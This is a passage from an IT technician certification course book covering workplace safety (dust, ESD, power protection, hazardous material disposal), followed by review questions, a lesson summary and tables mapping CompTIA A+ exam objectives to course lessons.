effective heat dissipation. It can clog up peripherals such as keyboards and mice. Dust
and smears can make the display hard to read. To perform dust cleanup:
• Use a compressed air blaster to dislodge dust from difficult-to-reach areas. Take
care with use, however, as you risk contaminating the environment with dust.
Ideally, perform this sort of maintenance within a controlled work area, and wear
an appropriate air-filter mask and goggles.

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Do not use compressed air blasters to clean up a toner spill or a laser printer within an
office-type area. You will blow fine toner dust into the atmosphere and create a health
hazard.

• Use a PC vacuum cleaner or natural bristle brush to remove dust from inside
the system unit, especially from the motherboard, adapter cards, and fan
assemblies. Domestic vacuum appliances should not be used as they can
produce high levels of static electricity. PC-safe vacuums can often be used to
blow air as well as for suction, so they can replace the need for compressed air
canisters.

A PC vacuum can be used to deal with toner spills only if the filter and bag are fine
enough to contain toner particles. Such vacuums should be labelled as toner-safe.
Ideally, move the printer to a maintenance room with filters to contain airborne
particles. Alternatively, a toner cloth is a special cloth for wiping up loose toner. Be
careful if you are using it inside the printer so that the cloth does not get caught on any
components and leave fibers behind.

Temperature, Humidity, and Ventilation Control

A computer that is too hot is likely to be unreliable. A computer must be ventilated
so that its fans can draw relatively cool air across the motherboard and expel
the warmed air from the rear vents. You must ensure that the room (ambient)
temperature is not too high and that there is space for air to flow around the case,
especially around the ventilation slots. Do not place the computer in direct sunlight
or near a radiator.
High humidity—the amount of water vapor in the air—can cause condensation to
form. On the other hand, low humidity allows static charges to build up more easily
and increases the risk of electrostatic discharge (ESD). The ideal level is around 50%.
Condensation can form because of sudden warming. When installing new
equipment that has just been delivered, it is important to leave it in its packaging
for a few hours—depending on the outside temperature—to allow it to adjust to
room temperature gradually.

Electrostatic Discharge Mitigation

Static electricity is a high voltage, low current charge stored in an insulated body. Show
Electrostatic discharge (ESD) occurs when a path allows electrons to rush from a Slide(s)
statically charged body to a component that has no charge. This can occur through Electrostatic Discharge
touch or even over a small gap if the charge is high enough. Static electricity Mitigation
discharged into the delicate structure of electronic devices will flash-over between
the conductive tracks, damaging or even vaporizing them. A static discharge
may make a chip completely unusable. If not, it is likely to fail at some later time.
Damage occurring in this way can be hidden for many months and might only
manifest itself in occasional failures.
The human body is mostly water and so does not generate or store static electricity
very well. Unfortunately, our clothes are often made of synthetic materials, such as
nylon and polyester, which act as good generators of static electricity and provide
insulating layers that allow charges to accumulate, especially when walking over
carpet. Humidity and climate also affect the likelihood of ESD. The risk increases
during dry, cool conditions when humidity is low. In humid conditions, the residual
charge can bleed into the environment before it can increase sufficiently to be
harmful to electrical components.

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Proper Component Handling

Proper component handling tools and techniques protect electronic components
against ESD when you service a PC or mobile device:
• If possible, work in an uncarpeted area. Ideally, use an ESD-safe floor or chair
mat.

• Touch an unpainted part of a metal computer chassis or power supply case to

drain residual charge from your body. This is only a temporary solution, and a
static charge could build up again.

For your safety, unplug the computer from building power before opening the chassis.

• Wear an anti-ESD wrist strap or leg strap to dissipate static charges more
effectively. The band should fit snugly around your wrist or ankle so that the
metal stud makes contact with your skin. Do not wear it over clothing. The strap
ground is made either using a grounding plug that plugs into a wall socket or
a crocodile clip that attaches to a grounded point or an unpainted part of the
computer’s metal chassis.

Electrostatic Discharge (ESD) wrist strap on ESD mat. (Image by Audrius Merfeldas ©123RF.com.)

Ensure that the strap has a working current-limiting resistor for safety (straps should
be tested daily). Do not use a grounding plug if there is any suspicion of a fault in the
socket or in the building's electrical wiring or if the wiring is not regularly inspected and
tested.

• Use an anti-ESD service mat as a place to organize sensitive components. The

mats contain a snap that you connect to the wrist or leg strap.

• Handle vulnerable components by holding the edges of the plastic mounting

card. Avoid touching the surfaces of the chips themselves.

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An example of an electrostatic discharge (ESD) workstation. (Image ©123RF.com)

Proper Component Storage

Electronic components, assemblies, and spare parts are shipped and stored in
antistatic packaging to protect them from ESD damage:
• Antistatic bags—This packaging reduces the risk of ESD because it is coated
with a conductive material. This material prevents static electricity from
discharging through the inside of the bag. These bags are usually a shiny, gray
metallic color. To protect the contents of the bag fully, you should seal it or at
least fold the top over and seal that down.

• Dissipative packaging—This light pink or blue packaging reduces the buildup

of static in the general vicinity of the contents by being slightly more conductive
than normal. A plastic bag or foam packaging may be sprayed with an antistatic
coating or have antistatic materials added to the plastic compound. This is used
to package non-static-sensitive components packed in proximity to
static-sensitive components.

Building Power Issues and Mitigations

Faults in building power supply cause power problems such as surges, brownouts, Show
and blackouts: Slide(s)

• Surges—A surge is a brief increase in voltage, while a spike is an intense surge. Building Power Issues
and Mitigations
A surge or spike can be caused by machinery and other high-power devices
being turned on or off and by lightning strikes. This type of event can take the
supply voltage well over its normal value and cause sufficient interference to a
computer to crash it, reboot it, or even damage it.

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• Under-voltage event—Devices with large motors, such as lifts, washing

machines, power tools, and transformers, require high-starting, or inrush,
current. This might cause the building supply voltage to dip briefly, resulting in
a under-voltage event. Overloaded or faulty building power-distribution circuits
sometimes cause an under-voltage event. An under-voltage event could cause
computer equipment to power off.

• Power failure—A power failure is complete loss of power. This will cause a
computer to power off suddenly. A blackout may be caused by a disruption to
the power distribution grid—an equipment failure or the accidental cutting of a
cable during construction work, for example—or may simply happen because a
fuse has blown or a circuit breaker has tripped.

A range of power protection devices is available to mitigate the faults these power
events can cause in computer equipment.

Surge Suppressors
Passive protection devices can be used to filter out the effects of surges and spikes.
The simplest surge suppressor devices come in the form of adapters, trailing
sockets, or filter plugs, with the protection circuitry built into the unit. These devices
offer low-cost protection to one or two pieces of equipment. Surge protectors
are rated according to various national and international standards, including
Underwriters Laboratory (UL) 1449. There are three important characteristics:
• Clamping voltage—Defines the level at which the protection circuitry will
activate, with lower voltages (400 V or 300 V) offering better protection.

• Joules rating—The amount of energy the surge protector can absorb, with
600 joules or more offering better protection. Each surge event will degrade
the capability of the suppressor.

• Amperage—The maximum current that can be carried or basically the number

of devices you can attach. As a rule of thumb, you should only use 80% of the
rated capacity. For example, the devices connected to a 15 A protector should be
drawing no more than 12 A. Of course, for domestic wiring, you should take care
not to overload the building’s power circuits in any case.

Battery Backups
Sudden power loss is likely to cause file corruption. If there is loss of power due to
a brownout or blackout, system operation can be sustained for a few minutes by
using battery backup. Battery backup can be provisioned at the component level
for disk drives, RAID arrays, and memory modules. The battery protects any read or
write operations cached at the time of power loss.
At the system level, an uninterruptible power supply (UPS) will provide a
temporary power source in the event of complete power loss. The time allowed
by a UPS is sufficient to activate an alternative power source, such as a standby
generator. If there is no alternative power source, a UPS will at least allow you to
save files and shut down the server or appliance properly.

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Example of a UPS. (Image by magraphics© 123RF.com.)

The key characteristics of a UPS are volt-amperes (VA) rating and runtime:
• VA rating is the maximum load the UPS can sustain. To work out the minimum
VA, sum the wattage of all the devices that will be attached to the UPS and
multiply by 1.67 to account for a conversion factor. For example, if you have a
10 W home router and two 250 W computers, the VA is (10 + 250 + 250) *
1.67 = 852 VA. A 1K VA UPS model should therefore be sufficient.

• Runtime is the number of minutes that the batteries will supply power. The
strength of the UPS batteries is measured in amp hours (Ah).

Vendors provide calculators to help select an appropriate UPS size for the required
load and runtime.

Materials Handling and Responsible Disposal

Some of the components and consumables used with computer and printer Show
systems can be hazardous to health and to the environment. You must comply with Slide(s)
all relevant regulations when handling and disposing of these substances. Materials Handling
and Responsible
Material Safety Data Sheets Disposal

Employers are obliged to assess the risk to their workforce from hazardous
substances at work and to take steps to eliminate or control that risk. No work with
hazardous substances should take place unless an assessment has been made.
Employees are within their rights to refuse to work with hazardous substances that
have not been assessed.

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Suppliers of chemicals are required to identify the hazards associated with the
substances they supply. Some hazard information will be provided on labels, but
the supplier must also provide more detailed information on a material safety
data sheet (MSDS). An MSDS will contain information about ingredients, health
hazards, precautions, and first aid information and what to do if the material is
spilled or leaks. The MSDS should also include information about how to recycle any
waste product or dispose of it safely.
You may need to refer to an MSDS in the course of handling monitors, power
supplies, batteries, laser-printer toner, and cleaning products. If handling devices
that are broken or leaking, use appropriate protective gear, such as gloves, safety
goggles, and an air-filter mask.

Proper Disposal
Even with procedures in place to properly maintain IT equipment, eventually it
will need to be decommissioned and either disposed of or recycled. IT equipment
contains numerous components and materials that can cause environmental
damage if they are disposed of as ordinary refuse. Waste disposal regulations
to ensure protection of the environment are enforced by the federal and local
governments in the United States and many other nations. Computer equipment is
typically classed as waste electrical and electronic equipment (WEEE).
Special care must be taken in respect of the following device types:
• Battery disposal—Swollen or leaking batteries from laptop computers or
within cell phones and tablets must be handled very carefully and stored within
appropriate containers. Use gloves and safety goggles to minimize any risk
of burns from corrosive material. Batteries must be disposed of through an
approved waste management and recycling facility.

• Toner disposal—Photocopier and laser-printer toner is an extremely fine

powder. The products in toner powder are not classified as hazardous to
health, but any dust in substantial concentration is a nuisance as it may cause
respiratory tract irritation. Most vendors have recycling schemes for used
toner cartridges. Loose toner must be collected carefully by using an approved
toner vacuum and sealed within a strong plastic waste container. Get the
manufacturer’s advice about disposing of loose toner safely. It must not be sent
directly to a landfill.

• Other device and asset disposal—Many components in PCs, cell phones,

tablets, and display screens contain toxins and heavy metals, such as lead,
mercury, and arsenic. These toxins may be present in batteries, in circuit
boards, and in plastics. These toxins are harmful to human health if ingested
and are damaging to the environment. This means that you must not dispose
of electronic devices as general waste in landfill or incinerators. If an electronic
device cannot be donated for reuse, it must be disposed of through an approved
waste management and recycling facility.

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Review Activity:
Safety and Environmental Procedures
6

Answer the following questions: Show

Slide(s)
Review
1. True or False? You should fit an antistatic wrist strap over your clothing
Teaching
as this is most likely to retain a charge.
Tip
False. The conductive path will occur through your fingers as you touch electronic Take some time at
components. The stud in the wrist strap must make contact with your skin to drain the end of each topic
the charge. to answer questions.
You can use the
2. In which atmospheric conditions is the risk of ESD highest? review questions
for discussion in
During cool, dry conditions when humidity is low. When humidity is high, the static class or set them for
students to complete
electricity can dissipate through the moisture present in the air. individually during or
after class.
3. What care should you take when lifting a heavy object?

The main concern is damaging your back. Lift slowly and use your legs for power,
not your back muscles.

4. What are the principal characteristics of a surge protector?

This is a circuit designed to protect connected devices from the effect of sudden
increases or spikes in the supply voltage and/or current. Surge protectors are rated
by clamping voltage (low values are better), joules rating (higher values are better),
and amperage (the maximum current that can be carried).

5. You are updating a deployment checklist for installing new workstation

PCs. What are the principal environmental hazards to consider when
choosing a location?

Heat and direct sunlight, excessive dust and liquids, and very low or high humidity.
Equipment should also be installed so as not to pose a topple or trip hazard.

6. When might you need to consult MSDS documentation?

A material safety data sheet (MSDS) should be read when introducing a new
product or substance to the workplace. Subsequently, you should consult it if
there is an accident involving the substance and when you need to dispose of
the substance.

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Lesson 20
Show
Slide(s)
Summary
Summary
7

You should be able to implement documentation, change management and

Teaching professional communication best practices, and use common safety and
Tip environmental controls.
Try to include some
time at the end Guidelines for Implementing Operational Procedures
of each lesson to
check students' Follow these guidelines to implement best practice operational procedures:
understanding and
answer questions. • Create ticketing and incident-reporting systems to capture user information,
device information, description of problems, categories, severity, and escalation
levels, and ensure agents use clear, concise written communication to document
the problem description, notes, and resolution.

• Develop an inventory database to assign asset IDs and manage procurement life
cycle, including warranty and licensing and assigned users.

• Create SOPs to govern service requests (such as custom installation of software

package, new-user setup checklist, and end-user termination checklist) and other
best practice documentation (AUPs, network topology diagrams, knowledge
bases, and regulatory compliance requirements).

• Develop a process and resources to structure change requests/approval (forms

describing purpose and scope of the change and risk analysis) and change
management (responsible staff member, rollback plan, sandbox testing, end-
user acceptance, date and time of the change, and affected systems/impact).

• Develop policies and training to ensure professionalism and proper

communication by support agents (professional appearance and attire, proper
language, positive attitude, active listening, cultural sensitivity, timekeeping,
task focus, setting and meeting expectations, respect for confidential/private
materials, and ability to deal with difficult situations).

• Create best practice SOPs and provision tools to ensure personal safety
(equipment grounding, disconnect power before repairing PC, lifting techniques,
electrical fire safety, safety goggles, gloves, and air-filtration masks).

• Create best practice SOPs and provision environmental controls to ensure device
integrity and compliance with regulations (MSDS documentation for handling
and disposal of batteries, toner, and electronic waste; temperature, humidity-
level awareness, and proper ventilation; dust cleanup with compressed air/
vacuums and battery backup/surge suppressors to mitigate power surges,
brownouts, and blackouts).

Additional practice questions for the topics covered in this lesson are available on the
CompTIA Learning Center.

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 Appendix A
Mapping Course Content
to CompTIA® A+® Core 1
(Exam 220-1101)
1

Achieving CompTIA A+ certification requires candidates to pass Exams 220-1101

and 220-1102. This table describes where the exam objectives for Exam 220-1101
are covered in this course.

1.0 Mobile Devices

1.1 Given a scenario, install and configure laptop
hardware and components. Covered in
Hardware/device replacement Lesson 8, Topic C
Battery
Keyboard/keys
Random-access memory (RAM)
Hard disk drive (HDD)/solid-state drive (SSD)
migration
HDD/SSD Replacement
Physical privacy and security components Lesson 8, Topic C
Biometrics
Near-field scanner features

1.2 Compare and contrast the display components

of mobile devices. Covered in
Types Lesson 8, Topic A
Liquid crystal display (LCD)
In-plane switching (IPS)
Twisted nematic (TN)
Vertical alignment (VA)
Organic light-emitting diode (OLED)
Mobile display components Lesson 8, Topic A
Wi-Fi antenna connector/placement Lesson 8, Topic A
Camera/webcam Lesson 8, Topic A
Microphone Lesson 8, Topic A
Touch screen/digitizer Lesson 8, Topic A
Inverter Lesson 8, Topic A

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 A-2 | Appendix A

1.3 Given a scenario, set up and configure accessories

and ports of mobile devices. Covered in
Connection methods Lesson 8, Topic A
Universal Serial Bus (USB)/USB-C/microUSB/miniUSB
Lightning
Serial interfaces
Near-field communication (NFC)
Bluetooth
Hotspot
Accessories Lesson 8, Topic A
Touch pens
Headsets
Speakers
Webcam
Docking station Lesson 8, Topic A
Port replicator Lesson 8, Topic A
Trackpad/drawing pad Lesson 8, Topic A

1.4 Given a scenario, configure basic mobile-device

network connectivity and application support. Covered in
Wireless/cellular data network (enable/disable) Lesson 8, Topic B
2G/3G/4G/5G
Hotspot
Global System for Mobile Communications (GSM) vs.
code-division multiple access (CDMA)
Preferred Roaming List (PRL) updates
Bluetooth Lesson 8, Topic B
Enable Bluetooth
Enable pairing
Find a device for pairing
Enter the appropriate PIN code
Test connectivity
Location services Lesson 8, Topic B
Global Positioning System (GPS) services
Cellular location services
Mobile device management (MDM)/mobile Lesson 8, Topic B
application management (MAM)
Corporate email configuration
Two-factor authentication
Corporate applications

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 Appendix A | A-3

1.4 Given a scenario, configure basic mobile-device

network connectivity and application support. Covered in
Mobile device synchronization Lesson 8, Topic B
Account setup
Microsoft 365
Google Workspace
iCloud
Data to synchronize
Mail
Photos
Calendar
Contacts
Recognizing data caps

2.0 Networking
2.1 Compare and contrast Transmission Control
Protocol (TCP) and User Datagram Protocol (UDP)
ports, protocols, and their purposes. Covered in
Ports and protocols Lesson 5, Topic C
20/21 - File Transfer Protocol (FTP)
22 - Secure Shell (SSH)
23 - Telnet
25 - Simple Mail Transfer Protocol (SMTP)
53 - Domain Name System (DNS)
67/68 - Dynamic Host Configuration Protocol (DHCP)
80 - Hypertext Transfer Protocol (HTTP)
110 - Post Office Protocol 3 (POP3)
137/139 - Network Basic Input/Output System (NetBIOS)/
NetBIOS over TCP/IP (NetBT)
143 - Internet Mail Access Protocol (IMAP)
161/162 - Simple Network Management Protocol (SNMP)
389 - Lightweight Directory Access Protocol (LDAP)
443 - Hypertext Transfer Protocol Secure (HTTPS)
445 - Server Message Block (SMB)/Common Internet File
System (CIFS)
3389 - Remote Desktop Protocol (RDP)
TCP vs. UDP Lesson 5, Topic C
Connectionless
DHCP
Trivial File Transfer Protocol (TFTP)
Connection-oriented
HTTPS
SSH

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 A-4 | Appendix A

2.2 Compare and contrast common networking

hardware. Covered in
Routers Lesson 5, Topic A
Switches Lesson 4, Topic B
Managed
Unmanaged
Access points Lesson 4, Topic D
Patch panel Lesson 4, Topic B
Firewall Lesson 5, Topic A
Power over Ethernet (PoE) Lesson 4, Topic B
Injectors
Switch
PoE standards
Hub Lesson 4, Topic B
Cable modem Lesson 5, Topic A
Digital subscriber line (DSL) Lesson 5, Topic A
Optical network terminal (ONT) Lesson 5, Topic A
Network interface card (NIC) Lesson 4, Topic B
Software-defined networking (SDN) Lesson 7, Topic B

2.3 Compare and contrast protocols for wireless

networking. Covered in
Frequencies Lesson 4, Topic D
2.4GHz
5GHz
Channels Lesson 4, Topic D
Regulations
2.4GHz vs. 5GHz
Bluetooth Lesson 4, Topic D
802.11 Lesson 4, Topic D
a
b
g
n
ac (Wi-Fi 5)
ax (Wi-Fi 6)
Long-range fixed wireless Lesson 4, Topic D
Licensed
Unlicensed
Power
Regulatory requirements for wireless power
NFC Lesson 4, Topic D
Radio-frequency identification (RFID) Lesson 4, Topic D

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 Appendix A | A-5

2.4 Summarize services provided by networked hosts. Covered in

Server roles Lesson 5, Topic D
DNS Lesson 6, Topic A
DHCP
Fileshare
Print servers
Mail servers
Syslog
Web servers
Authentication, authorization, and accounting (AAA)
Internet appliances Lesson 6, Topic B
Spam gateways
Unified threat management (UTM)
Load balancers
Proxy servers
Legacy/embedded systems Lesson 6, Topic B
Supervisory control and data acquisition (SCADA)
Internet of Things (IoT) devices Lesson 6, Topic B

2.5 Given a scenario, install and configure basic wired/

wireless small office/home office (SOHO) networks. Covered in
Internet Protocol (IP) addressing Lesson 5, Topic B
IPv4
Private addresses
Public addresses
IPv6
Automatic Private IP Addressing (APIPA)
Static
Dynamic
Gateway

2.6 Compare and contrast common network

configuration concepts. Covered in
DNS Lesson 5, Topic D
Address
A
AAAA
Mail exchanger (MX)
Text (TXT)
Spam management
DomainKeys Identified Mail (DKIM)
Sender Policy Framework (SPF)
Domain-based Message Authentication,
Reporting, and Conformance (DMARC)

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 A-6 | Appendix A

2.6 Compare and contrast common network

configuration concepts. Covered in
DHCP Lesson 5, Topic D
Leases
Reservations
Scope
Virtual LAN (VLAN)
Virtual private network (VPN)

2.7 Compare and contrast Internet connection

types, network types, and their features. Covered in
Internet connection types Lesson 5, Topic A
Satellite
Fiber
Cable
DSL
Cellular
Wireless Internet service provider (WISP)
Network types Lesson 4, Topic A
Local area network (LAN)
Wide area network (WAN)
Personal area network (PAN)
Metropolitan area network (MAN)
Storage area network (SAN)
Wireless local area network (WLAN)

2.8 Given a scenario, use networking tools. Covered in

Crimper Lesson 4, Topic C
Cable stripper Lesson 4, Topic C
Wi-Fi analyzer Lesson 4, Topic D
Toner probe Lesson 4, Topic C
Punchdown tool Lesson 4, Topic C
Cable tester Lesson 4, Topic C
Loopback plug Lesson 4, Topic C
Network tap Lesson 4, Topic C

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 Appendix A | A-7

3.0 Hardware
3.1 Explain basic cable types and their connectors,
features, and purposes. Covered in
Network cables Lesson 4, Topic C
Copper
Cat 5
Cat 5e
Cat 6
Cat 6a
Coaxial
Shielded twisted pair
Direct burial
Unshielded twisted pair
Plenum
Optical
Fiber
T568A/T568B
Peripheral cables Lesson 1, Topic C
USB 2.0
USB 3.0
Serial
Thunderbolt
Video cables Lesson 1, Topic C
High-Definition Multimedia Interface (HDMI)
DisplayPort
Digital Visual Interface (DVI)
Video Graphics Array (VGA)
Hard drive cables Lesson 1, Topic C
Serial Advanced Technology Attachment (SATA)
Small Computer System Interface (SCSI)
External SATA (eSATA)
Integrated Drive Electronics (IDE)
Adapters Lesson 1, Topic A
Connector types Lesson 1, Topic A
RJ11
RJ45
F type
Straight tip (ST)
Subscriber connector (SC)
Lucent connector (LC)
Punchdown block
microUSB
miniUSB
USB-C
Molex
Lightning port
DB9

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 A-8 | Appendix A

3.2 Given a scenario, install the appropriate RAM. Covered in

RAM types Lesson 2, Topic C
Virtual RAM
Small outline dual inline memory module (SODIMM)
Double Data Rate 3 (DDR3)
Double Data Rate 4 (DDR4)
Double Data Rate 5 (DDR5)
Error correction code (ECC) RAM
Single-channel Lesson 2, Topic C
Dual-channel Lesson 2, Topic C
Triple-channel Lesson 2, Topic C
Quad-channel Lesson 2, Topic C

3.3 Given a scenario, select and install storage devices. Covered in

Hard drives Lesson 2, Topic B
Speeds
5,400 rpm
7,200 rpm
10,000 rpm
15,000 rpm
Form factor
2.5
3.5
SSDs Lesson 2, Topic B
Communications interfaces
Non-volatile Memory Express (NVMe)
SATA
Peripheral Component Interconnect Express (PCIe)
Form factors
M.2
mSATA
Drive configurations Lesson 2, Topic B
Redundant Array of Independent (or Inexpensive)
Disks (RAID) 0, 1, 5, 10
Removable storage Lesson 2, Topic B
Flash drives
Memory cards
Optical drives

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 Appendix A | A-9

3.4 Given a scenario, install and configure

motherboards, central processing units (CPUs),
and add-on cards. Covered in
Motherboard form factor Lesson 1, Topic B
Advanced Technology eXtended (ATX)
Information Technology eXtended (ITX)
Motherboard connector types Lesson 1, Topic B
Peripheral Component Interconnect (PCI)
PCI Express (PCIe)
Power connectors
SATA
eSATA
Headers
M.2
Motherboard compatibility Lesson 2, Topic D
CPU sockets
Advanced Micro Devices, Inc. (AMD)
Intel
Server
Multisocket
Desktop
Mobile
Basic Input/Output System (BIOS)/Unified Extensible Lesson 3, Topic B
Firmware Interface (UEFI) settings
Boot options
USB permissions
Trusted Platform Module (TPM) security features
Fan considerations
Secure Boot
Boot password
Hardware security module (HSM)
Encryption Lesson 3, Topic B
TPM
Hardware security module (HSM)
CPU architecture Lesson 2, Topic D
x64/x86
Advanced RISC Machine (ARM)
Single-core
Multicore
Multithreading
Virtualization support

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 A-10 | Appendix A

3.4 Given a scenario, install and configure

motherboards, central processing units (CPUs),
and add-on cards. Covered in
Expansion cards Lesson 1, Topic B
Sound card
Video card
Capture card
NIC
Cooling Lesson 2, Topic A
Fans
Heat sink
Thermal paste/pads
Liquid

3.5 Given a scenario, install or replace the appropriate

power supply. Covered in
Input 110–120 VAC vs. 220–240 VAC Lesson 2, Topic A
Output 3.3V vs. 5V vs. 12V Lesson 2, Topic A
20-pin to 24-pin motherboard adapter Lesson 2, Topic A
Redundant power supply Lesson 2, Topic A
Modular power supply Lesson 2, Topic A
Wattage rating Lesson 2, Topic A

3.6 Given a scenario, deploy and configure multifunction

devices/printers and settings. Covered in
Properly unboxing a device - setup location Lesson 9, Topic A
considerations
Use appropriate drivers for a given OS Lesson 9, Topic A
Printer Control Language (PCL) vs. PostScript
Device connectivity Lesson 9, Topic A
USB
Ethernet
Wireless
Public/shared devices Lesson 9, Topic A
Printer share
Print server
Configuration settings Lesson 9, Topic A
Duplex
Orientation
Tray settings
Quality

Appendix A: Mapping Course Content to CompTIA® A+® Core 1 (Exam 220-1101)

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 Appendix A | A-11

3.6 Given a scenario, deploy and configure multifunction

devices/printers and settings. Covered in
Security Lesson 9, Topic A
User authentication
Badging
Audit logs
Secured prints
Network scan services Lesson 9, Topic A
Email
SMB
Cloud services
Automatic document feeder (ADF)/flatbed scanner Lesson 9, Topic A

3.7 Given a scenario, install and replace printer

consumables. Covered in
Laser Lesson 9, Topic B
Imaging drum, fuser assembly, transfer belt, transfer
roller, pickup rollers, separation pads, duplexing assembly
Imaging process: processing, charging, exposing,
developing, transferring, fusing, and cleaning
Maintenance: Replace toner, apply maintenance
kit, calibrate, clean
Inkjet Lesson 9, Topic B
Ink cartridge, print head, roller, feeder, duplexing
assembly, carriage belt calibration
Maintenance: Clean heads, replace cartridges,
calibrate, clear jams
Thermal Lesson 9, Topic B
Feed assembly, heating element
Special thermal paper
Maintenance: Replace paper, clean heating
element, remove debris
Heat sensitivity
Impact Lesson 9, Topic B
Print head, ribbon, tractor feed
Impact paper
Maintenance: Replace ribbon, replace print head,
replace paper
3-D printer Lesson 9, Topic B
Filament
Resin
Print bed

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 A-12 | Appendix A

4.0 Virtualization and Cloud Computing

4.1 Summarize cloud-computing concepts. Covered in
Common cloud models Lesson 7, Topic B
Private cloud
Public cloud
Hybrid cloud
Community cloud
Infrastructure as a service (IaaS)
Software as a service (SaaS)
Platform as a service (PaaS)
Cloud characteristics Lesson 7, Topic B
Shared resources
Metered utilization
Rapid elasticity
High availability
File synchronization
Desktop virtualization Lesson 7, Topic B
Virtual desktop infrastructure (VDI) on premises
VDI in the cloud

4.2 Summarize aspects of client-side virtualization. Covered in

Purpose of virtual machines Lesson 7, Topic A
Sandbox
Test development
Application virtualization
Legacy software/OS
Cross-platform virtualization
Resource requirements Lesson 7, Topic A
Security requirements Lesson 7, Topic A

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 Appendix A | A-13

5.0 Hardware and Network Troubleshooting

5.1 Given a scenario, apply the best practice
methodology to resolve problems. Covered in
Always consider corporate policies, procedures, Lesson 3, Topic A
and impacts before implementing changes.
1. Identify the problem.
Gather information from the user, identify user changes,
and, if applicable, perform backups before making
changes.
Inquire regarding environmental or infrastructure changes.
2. Establish a theory of probable cause (question the
obvious).
If necessary, conduct external or internal research based
on symptoms.
3. Test the theory to determine the cause.
Once the theory is confirmed, determine the next steps to
resolve the problem.
If the theory is not confirmed, re-establish a new theory or
escalate.
4. Establish a plan of action to resolve the problem and
implement the solution.
Refer to the vendor's instructions for guidance.
5. Verify full system functionality and, if applicable, implement
preventive measures.
6. Document the findings, actions, and outcomes.

5.2 Given a scenario, troubleshoot problems related to

motherboards, RAM, CPU, and power. Covered in
Common symptoms Lesson 3, Topic C
Power-on self-test (POST) beeps
Proprietary crash screens (blue screen of
death [BSOD]/pinwheel)
Black screen
No power
Sluggish performance Lesson 3, Topic D
Overheating
Burning smell
Intermittent shutdown
Application crashes
Grinding noise Lesson 3, Topic C
Capacitor swelling Lesson 3, Topic D
Inaccurate system date/time

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 A-14 | Appendix A

5.3 Given a scenario, troubleshoot and diagnose problems

with storage drives and RAID arrays. Covered in
Common symptoms Lesson 3, Topic C
Light-emitting diode (LED) status indicators
Grinding noises
Clicking sounds
Bootable device not found
Data loss/corruption
RAID failure
Self-monitoring, Analysis, and Reporting Technology
(S.M.A.R.T.) failure
Extended read/write times
Input/output operations per second (IOPS)
Missing drives in OS

5.4 Given a scenario, troubleshoot video, projector,

and display issues. Covered in
Common symptoms Lesson 3, Topic D
Incorrect data source
Physical cabling issues
Burned-out bulb
Fuzzy image
Display burn-in
Dead pixels
Flashing screen
Incorrect color display
Audio issues
Dim image
Intermittent projector shutdown

5.5 Given a scenario, troubleshoot common issues

with mobile devices. Covered in
Common symptoms Lesson 8, Topic D
Poor battery health
Swollen battery
Broken screen
Improper charging
Poor/no connectivity
Liquid damage
Overheating
Digitizer issues
Physically damaged ports
Malware
Cursor drift/touch calibration

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 Appendix A | A-15

5.6 Given a scenario, troubleshoot and resolve

printer issues. Covered in
Common symptoms Lesson 9, Topic C
Lines down the printed pages
Garbled print
Toner not fusing to paper
Paper jams
Faded print
Incorrect paper size
Paper not feeding
Multipage misfeed
Multiple prints pending in queue
Speckling on printed pages
Double/echo images on the print
Incorrect chroma display
Grinding noise
Finishing issues
Staple jams
Hole punch
Incorrect page orientation

5.7 Given a scenario, troubleshoot problems with

wired and wireless networks. Covered in
Common symptoms Lesson 6, Topic C
Intermittent wireless connectivity
Slow network speeds
Limited connectivity
Jitter
Poor Voice over Internet Protocol (VoIP) quality
Port flapping
High latency
External interference

Appendix A: Mapping Course Content to CompTIA® A+® Core 1 (Exam 220-1101)

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 Appendix B
Mapping Course Content to
CompTIA® A+® Core 2
(Exam 220-1102)
1

Achieving CompTIA A+ certification requires candidates to pass Exams 220-1101

and 220-1102. This table describes where the exam objectives for Exam 220-1102
are covered in this course.

1.0 Operating Systems

1.1 Identify basic features of Microsoft
Windows editions. Covered in
Windows 10 editions Lesson 12, Topic B
Home
Pro
Pro for Workstations
Enterprise
Feature differences Lesson 12, Topic B
Domain access vs. workgroup
Desktop styles/user interface Availability of Remote
Desktop Protocol (RDP)
Random-access memory (RAM) support limitations
BitLocker
gpedit.msc
Upgrade paths Lesson 12, Topic B
In-place upgrade

1.2 Given a scenario, use the appropriate Microsoft

command-line tool. Covered in
Navigation Lesson 11, Topic C
cd
dir
md
rmdir
Drive navigation inputs:
C: or D: or x:

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 B-2 | Appendix B

1.2 Given a scenario, use the appropriate Microsoft

command-line tool. Covered in
Command-line tools Lesson 11, Topic C
ipconfig
ping
hostname
netstat
nslookup
chkdsk
net user
net use
tracert
format
xcopy
copy
robocopy
gpupdate
gpresult
shutdown
sfc
[command name] /?
diskpart
pathping
winver

1.3 Given a scenario, use features and tools of the

Microsoft Windows 10 operating system (OS). Covered in
Task Manager Lesson 11, Topic B
Services
Startup
Performance
Processes
Users
Microsoft Management Console (MMC) snap-in Lesson 11, Topic A
Event View (eventvwr.msc)
Disk Management (diskmgmt.msc)
Task Scheduler (taskschd.msc)
Device Manager (devmgmt.msc)
Certificate Manager (certmgr.msc)
Local Users and Groups (lusrmgr.msc)
Performance Monitor (perfmon.msc)
Group Policy Editor (gpedit.msc)

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 Appendix B | B-3

1.3 Given a scenario, use features and tools of the

Microsoft Windows 10 operating system (OS). Covered in
Additional tools
System Information (msinfo32.exe) Lesson 11, Topic B
Resource Monitor (resmon.exe) Lesson 11, Topic B
System Configuration (msconfig.exe) Lesson 11, Topic B
Disk Cleanup (cleanmgr.exe) Lesson 11, Topic A
Disk Defragment (dfrgui.exe) Lesson 11, Topic A
Registry Editor (regedit.exe) Lesson 11, Topic A

1.4 Given a scenario, use the appropriate Microsoft

Windows 10 Control Panel utility. Covered in
Internet Options Lesson 10, Topic B
Devices and Printers Lesson 10, Topic B
Programs and Features Lesson 10, Topic B
Network and Sharing Center Lesson 10, Topic B
System Lesson 10, Topic B
Windows Defender Firewall Lesson 10, Topic B
Mail Lesson 10, Topic B
Sound Lesson 10, Topic B
User Accounts Lesson 10, Topic A
Device Manager Lesson 10, Topic B
Indexing Options Lesson 10, Topic A
Administrative Tools Lesson 10, Topic B
File Explorer Options Lesson 10, Topic A
Show hidden files
Hide extensions
General options
View options
Power Options Lesson 10, Topic B
Hibernate
Power plans
Sleep/suspend
Standby
Choose what closing the lid does
Turn on fast startup
Universal Serial Bus (USB) selective suspend
Ease of Access Lesson 10, Topic A

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 B-4 | Appendix B

1.5 Given a scenario, use the appropriate

Windows settings. Covered in
Time and Language Lesson 10, Topic A
Update and Security Lesson 10, Topic B
Personalization Lesson 10, Topic A
Apps Lesson 10, Topic B
Privacy Lesson 10, Topic A
